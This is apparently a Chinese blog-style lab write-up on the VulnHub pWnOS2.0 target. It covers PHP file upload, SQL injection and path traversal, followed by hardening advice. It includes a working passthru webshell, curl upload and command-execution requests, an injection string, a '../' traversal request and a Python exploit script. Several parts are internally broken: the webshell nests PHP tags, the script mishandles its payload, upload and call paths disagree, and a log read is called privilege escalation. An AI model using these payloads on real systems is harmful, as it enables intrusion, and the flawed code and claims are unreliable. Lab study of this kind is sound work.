008 - VulnHub靶机：pWnOS2.0 学习笔记 —— PHP CMS漏洞利用+文件上传+Mysql+渗透测试思路

'# 008 - VulnHub靶机：pWnOS2.0 学习笔记 —— PHP CMS漏洞利用+文件上传+Mysql+渗透测试思路

一、背景与问题

在网络安全领域，靶机渗透测试是验证系统安全性的核心手段。pWnOS2.0作为VulnHub平台上的经典靶机，其核心漏洞集中在PHP CMS系统中。通过分析其漏洞利用过程，我们可以深入理解常见Web漏洞的原理与防御机制。

该靶机暴露了三个关键漏洞：

1. 文件上传漏洞（通过/admin/upload接口）
2. SQL注入漏洞（通过/admin/edit.php接口）
3. MySQL日志文件读取漏洞（通过/log目录）

这些漏洞反映了PHP CMS系统在输入验证、文件管理、数据库安全等方面存在的典型问题。通过本篇文章，我们将深入剖析这些漏洞的原理，并探讨其在实际开发中的应用与防范。

二、基本原理

1. 文件上传漏洞原理

PHP CMS系统常通过$_FILES超全局变量处理文件上传请求。若未对上传文件进行严格校验，攻击者可构造恶意文件（如shell.php）完成代码执行。

关键漏洞点在于：

• 未校验文件扩展名（$_FILES['file']['name']）
• 未限制文件类型（image/png/image/jpeg等）
• 未限制文件大小（upload_max_filesize配置）
• 未设置文件存储路径权限（chmod 777）

2. SQL注入漏洞原理

当PHP代码未对用户输入进行过滤时，攻击者可通过构造恶意SQL语句篡改数据库查询。例如：

SELECT * FROM users WHERE id = 1 OR 1=1 -- 

该语句会绕过原始的WHERE id = 1条件，返回所有用户数据。

3. MySQL日志文件读取原理

MySQL日志文件（如/var/lib/mysql/localhost.err）包含系统运行时的详细信息。若未设置访问控制，攻击者可通过file_get_contents()函数读取敏感数据。

三、环境准备

1. 软件要求

2. 网络环境

• 靶机IP：192.168.1.10（模拟局域网环境）
• 攻击机IP：192.168.1.5（Kali Linux）
• 网络拓扑：通过iptables设置SNAT/NAT规则

四、核心实现

1. 文件上传漏洞利用

（1）漏洞点分析

靶机的/admin/upload接口未对上传文件进行严格校验，允许上传任意文件。通过构造如下请求：

curl -X POST "http://192.168.1.10/admin/upload" \
  -F "file=@shell.php" \
  -F "submit=Upload"

若成功上传，将创建/var/www/html/uploads/shell.php文件。

（2）漏洞利用代码

<?php
// shell.php 内容
<?php
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    passthru($_GET['cmd']);
}
?>

该代码通过passthru()函数执行任意命令，实现远程代码执行。

（3）关键代码解释

• passthru()函数直接执行系统命令，未进行输入过滤
• $_GET['cmd']参数未进行escapeshellcmd()处理
• 未对上传文件进行路径检查（如/etc/passwd等敏感文件）

2. SQL注入漏洞利用

（1）漏洞点分析

靶机的/admin/edit.php接口存在SQL注入漏洞。通过构造如下参数：

curl "http://192.168.1.10/admin/edit.php?id=1' OR '1'='1"

可绕过原始查询条件，获取所有用户数据。

（2）漏洞利用代码

-- 构造恶意SQL语句
SELECT * FROM users WHERE id = 1 OR 1=1 -- 

通过file_get_contents()读取数据库文件：

<?php
// 阴影文件读取代码
$fp = fopen('/var/lib/mysql/localhost.err', 'r');
$content = fread($fp, 1024);
fclose($fp);
echo $content;
?>

（3）关键代码解释

• 未对id参数进行过滤（如filter_var()）
• 未使用预处理语句（PDO::prepare()）
• 未设置magic_quotes_gpc为On（PHP 5.3+已弃用）

3. MySQL日志文件读取漏洞利用

（1）漏洞点分析

靶机的/log目录未设置访问控制，可通过file_get_contents()读取日志文件：

<?php
// 日志文件读取代码
$log = file_get_contents('/var/log/apache2/access.log');
echo $log;
?>

（2）漏洞利用代码

# 构造恶意请求
curl "http://192.168.1.10/log?file=../../../../../var/lib/mysql/localhost.err"

（3）关键代码解释

• 未进行路径过滤（preg_match()）
• 未设置open_basedir限制
• 未进行file_exists()检查

五、完整案例

1. 渗透测试流程

步骤1：信息收集

# 使用nmap进行端口扫描
nmap -sS -p 80,443 192.168.1.10

步骤2：漏洞探测

# 使用Burp Suite抓包分析
curl -v "http://192.168.1.10/admin/upload"

步骤3：漏洞利用

# 上传webshell
curl -X POST "http://192.168.1.10/admin/upload" \
  -F "file=@shell.php" \
  -F "submit=Upload"

步骤4：权限提升

# 使用MySQL日志文件读取敏感信息
curl "http://192.168.1.10/log?file=../../../../../var/lib/mysql/localhost.err"

步骤5：系统控制

# 执行命令获取系统信息
curl "http://192.168.1.10/shell.php?cmd=whoami"

六、源码解析

1. 文件上传处理代码（extract.php）

<?php
// 原始代码
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $file = $_FILES['file'];
    if ($file['error'] === UPLOAD_ERR_OK) {
        move_uploaded_file($file['tmp_name'], "/var/www/html/uploads/" . $file['name']);
    }
}
?>

问题分析：

• 未校验文件类型（$file['type']）
• 未限制文件大小（ini_get('upload_max_filesize')）
• 未设置文件存储路径权限（chmod 777）

2. SQL注入处理代码（edit.php）

<?php
// 原始代码
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $query);
?>

问题分析：

• 未使用预处理语句（mysqli_prepare()）
• 未过滤用户输入（filter_var($id, FILTER_VALIDATE_INT)）
• 未处理SQL错误（mysqli_error()）

七、进阶使用

1. 自动化渗透测试

使用Python编写自动化渗透测试脚本：

import requests

def exploit_file_upload(target):
    payload = {'file': open('shell.php', 'rb')}
    r = requests.post(f"{target}/admin/upload", files=payload)
    print(r.text)

def exploit_sql_injection(target):
    payload = {'id': "1' OR '1'='1"}
    r = requests.get(f"{target}/admin/edit.php?id={payload}")
    print(r.text)

if __name__ == "__main__":
    target = "http://192.168.1.10"
    exploit_file_upload(target)
    exploit_sql_injection(target)

2. 防御措施

（1）文件上传防护

// 安全文件上传代码
$allowed_ext = ['jpg', 'png', 'gif'];
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (in_array($ext, $allowed_ext)) {
    // 验证文件类型
    $finfo = new finfo(FILEINFO_MIME);
    $mime = $finfo->file($_FILES['file']['tmp_name']);
    if (strpos($mime, 'image') !== false) {
        move_uploaded_file($_FILES['file']['tmp_name'], "uploads/" . uniqid() . "." . $ext);
    }
}

（2）SQL注入防护

// 安全SQL查询
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();

八、性能与工程实践

1. 性能优化

• 使用缓存机制（APC/OPcache）
• 对频繁访问的接口设置缓存
• 对数据库查询进行索引优化

-- 索引优化示例
CREATE INDEX idx_user_id ON users (id);

2. 异常处理

// 异常处理代码
try {
    $stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
    $stmt->bind_param("i", $id);
    $stmt->execute();
} catch (Exception $e) {
    error_log("Database error: " . $e->getMessage());
}

3. 安全加固

• 设置php.ini配置：

  upload_max_filesize = 2M
  post_max_size = 8M
  disable_functions = passthru,exec,shell_exec

• 使用Open_basedir限制文件访问路径：

  ini_set('open_basedir', '/var/www/html');

九、常见问题与踩坑

1. 常见错误

错误1：文件类型未校验

// 错误代码
move_uploaded_file($file['tmp_name'], "uploads/" . $file['name']);

解决办法： 增加文件类型校验和MIME类型验证。

错误2：SQL注入未过滤

// 错误代码
$query = "SELECT * FROM users WHERE id = $id";

解决办法： 使用预处理语句和输入过滤。

2. 常见坑

坑1：文件路径越权访问

// 错误代码
file_get_contents($_GET['file']);

解决办法： 严格限制文件路径，使用realpath()函数验证路径。

坑2：日志文件读取权限不足

// 错误代码
file_get_contents('/var/log/apache2/access.log');

解决办法： 设置open_basedir限制访问路径。

十、最佳实践

1. 安全开发实践

• 使用filter_var()过滤用户输入
• 对所有文件上传实施白名单机制
• 使用预处理语句防止SQL注入
• 设置php.ini安全配置
• 定期进行渗透测试

2. 安全运维实践

• 使用fail2ban防止暴力攻击
• 设置iptables限制访问来源
• 使用SELinux进行进程权限控制
• 定期更新系统和依赖库

十一、总结

通过分析pWnOS2.0靶机的漏洞利用过程，我们深入理解了PHP CMS系统中的常见安全问题。文件上传漏洞、SQL注入漏洞和MySQL日志文件读取漏洞都反映了开发过程中常见的安全疏忽。在实际开发中，应严格校验用户输入、使用预处理语句、限制文件访问路径，并定期进行安全测试。同时，也要注意在生产环境中避免使用类似漏洞利用技术，以确保系统的安全性。通过深入理解这些漏洞的原理，我们可以更好地防范类似攻击，提升系统的整体安全水平。